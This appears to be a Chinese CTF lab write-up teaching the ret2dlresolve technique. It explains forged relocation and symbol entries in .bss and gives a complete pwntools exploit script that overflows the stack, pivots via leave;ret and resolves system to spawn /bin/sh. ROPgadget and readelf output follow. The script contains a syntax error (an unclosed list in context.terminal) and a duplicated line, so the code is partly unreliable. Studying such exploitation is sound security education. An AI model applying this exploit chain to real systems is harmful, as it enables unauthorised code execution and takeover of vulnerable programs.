当一个程序第一次调用libc中的函数时,必须首先对libc中函数的真实地址进行重定位,而这个绑定寻找真实地址的过程由dl_runtime_resolve完成。
dl_runtime_resolve需要两个参数,一个是link_map=*(GOT[1]),即链接器标志信息和reloc_arg(标志该函数重定位入口偏移),我们需要做的就是控制reloc_arg从而使dl_runtime_resolve将函数重定位到我们能控制的地方。
通过此次实验能够使我们掌握对ret2dlresolve的使用。
链接:https://pan.baidu.com/s/1iT-RaUPmyHeViUONh4711g
提取码:i1oj
首先对该pwn进行静态分析:
通过静态分析可得:
该pwn没有输出函数,只有输入函数,我们不能采用之前泄露libc表的方法,但是我们可以利用read函数进行栈溢出。
对于该题我们的泄露步骤为:
1.控制eip为PLT[0]的地址,只需传递一个index_arg参数
2.控制index_arg的大小,使reloc的位置落在可控地址内
3.伪造reloc的内容,使sym落在可控地址内
4.伪造sym的内容,使name落在可控地址内
5.伪造name为任意库函数,如system
当.dynamic不可写时,我们主要是由dl_runtime_resolve(link_map,rel_offset)对函数进行解析,之所以它能解析不同函数的地址,以为我们传入的rel_offset不同,因此,把传入的rel_offset改为我们希望的函数的偏移,便可以执行我们希望的函数,新的问题来了,.rel.plt中不一定存在我们希望的函数,因此就需要我们伪造一个.rel.plt,将rel_offset修改为一个比较大的值,在.rel.plt+rel_offset的地方是我们伪造好的,结构跟.rel.plt相同的数据,这样我们就相当于伪造好了reloc(重定位入口),程序又会根据r_info找到对应的.dynsym中的symbols,我们再次伪造symbols的内容->st_name,使得到的str在我们的可控地址内,然后在.dynstr+st_name地址处放置库函数字符串例如:system。
然后我们伪造一个很大的rel_offset,一直偏移到bss段(一般这里可读可写,且位于.rel.plt的高地址)从bss+0×100地址处开始伪造Elf32_Rel(即.rel.plt的结构)。
所以,这一部分相对于.rel.plt的偏移为
rel_offset=bss_address+0x100+junk-.rel.plt_address
伪造Elf32_Rel(即.rel.plt的结构),由RELSZ可知,它的大小为8字节(commend: readelf -d fun 可以看到),我们需要fake r_offset,以及r_info,r_offset一般是函数在.got.plt的地址,r_info可以用来计算在symtab中的index并且保存了类型,所以我们可以让伪造的symtab的数据紧跟在这段数据后面,这样我们就可以计算出它的index: index=(bss+0×100-.dynsym)/0×10(因为SYMENT指明大小为16字节),类型必须为7。
所以我们就可以计算出r_info的值 :
r_info=(index << 8 ) | 0x7
伪造symtab,这一部分包含四个字段,我们只需要改st_name部分即可,其余部分按照程序原有的值赋值,st_name表示了字符串相对strtab的偏移,我们可以将字符串写在紧邻这一部分的高地址处
st_name由0x1a改为我们得到的值,其余部分按照上面继续使用
伪造strtab,这里我们直接将所需库函数的字符串写入即可,例如system
dl_runtime_resolve函数便会将system函数的地址,写到read函数对应的got表中去,再次调用read就相当于调用了system函数
#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c'
p=process('./pwn')
#p=remote('da61f2425ce71e72c1ef02104c3bfb69.kr-lab.com',33865)
elf=ELF('./pwn')
pop_ebp_ret=0x080485db #ROPgadget --binary ./pwn --only "pop|ret"
ppp_ret=0x080485d9
leave_ret=0x08048448 #ROPgadget --binary ./pwn --only "leave|ret"
stack_s=0x800
bss_addr=0x0804a040 # readelf -S bof | grep ".bss"
bss_stage=bss_addr+stack_s
read_plt = elf.plt['read']
read_got = elf.got['read']
dynsym=0x080481dc
dynstr=0x0804827c
plt=0x08048380
relplt=0x0804833c
fake_sym_addr=bss_stage+36
rel_offset=bss_stage+28-relplt
align=0x10-((fake_sym_addr-dynsym)&0xf)
fake_sym_addr=fake_sym_addr+align
index=(fake_sym_addr-dynsym)/0x10
r_info=(index<<8)|0x7
st_name=fake_sym_addr-dynstr+16
fake_raloc=p32(read_got)+p32(r_info)
fake_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12)
payload='a'*(0x28+0x04)+p32(read_plt)+p32(ppp_ret)+p32(0)+p32(bss_stage)+p32(100)+p32(pop_ebp_ret)+p32(bss_stage)+p32(leave_ret)
p.sendline(payload)
bin_sh='/bin/sh'
payload='a'*4+p32(plt)+p32(rel_offset)
payload+='a'*4+p32(bss_stage+80)
payload+='a'*8+fake_raloc+'a'*align+fake_sym
payload+='system\0'
payload+='a'*(80-len(payload))
payload+=bin_sh+'\x00'
payload+='a'*(100-len(payload))
p.send(payload)
p.interactive()
p.interactive()
'''
ret
0x080485db : pop ebp ; ret
0x080485d8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804837d : pop ebx ; ret
0x080485da : pop edi ; pop ebp ; ret
0x080485d9 : pop esi ; pop edi ; pop ebp ; ret
0x080481ab : ret
0x0804845e : ret 0xeac1
'''
'''
leave
0x08048448 : leave ; ret
0x080481ab : ret
0x0804845e : ret 0xeac1
'''
'''
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4
[ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000030 04 A 5 0 4
[ 5] .dynsym DYNSYM 080481dc 0001dc 0000a0 10 A 6 1 4
[ 6] .dynstr STRTAB 0804827c 00027c 00006c 00 A 0 0 1
[ 7] .gnu.version VERSYM 080482e8 0002e8 000014 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 080482fc 0002fc 000020 00 A 6 1 4
[ 9] .rel.dyn REL 0804831c 00031c 000020 08 A 5 0 4
[10] .rel.plt REL 0804833c 00033c 000020 08 AI 5 24 4
[11] .init PROGBITS 0804835c 00035c 000023 00 AX 0 0 4
[12] .plt PROGBITS 08048380 000380 000050 04 AX 0 0 16
[13] .plt.got PROGBITS 080483d0 0003d0 000008 00 AX 0 0 8
[14] .text PROGBITS 080483e0 0003e0 000202 00 AX 0 0 16
[15] .fini PROGBITS 080485e4 0005e4 000014 00 AX 0 0 4
[16] .rodata PROGBITS 080485f8 0005f8 000008 00 A 0 0 4
[17] .eh_frame_hdr PROGBITS 08048600 000600 00003c 00 A 0 0 4
[18] .eh_frame PROGBITS 0804863c 00063c 00010c 00 A 0 0 4
[19] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4
[20] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4
[21] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4
[22] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4
[23] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4
[24] .got.plt PROGBITS 0804a000 001000 00001c 04 WA 0 0 4
[25] .data PROGBITS 0804a01c 00101c 000008 00 WA 0 0 4
[26] .bss NOBITS 0804a040 001024 00002c 00 WA 0 0 32
[27] .comment PROGBITS 00000000 001024 000035 01 MS 0 0 1
[28] .shstrtab STRTAB 00000000 0017a5 00010a 00 0 0 1
[29] .symtab SYMTAB 00000000 00105c 0004c0 10 30 47 4
[30] .strtab STRTAB 00000000 00151c 000289 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)
'''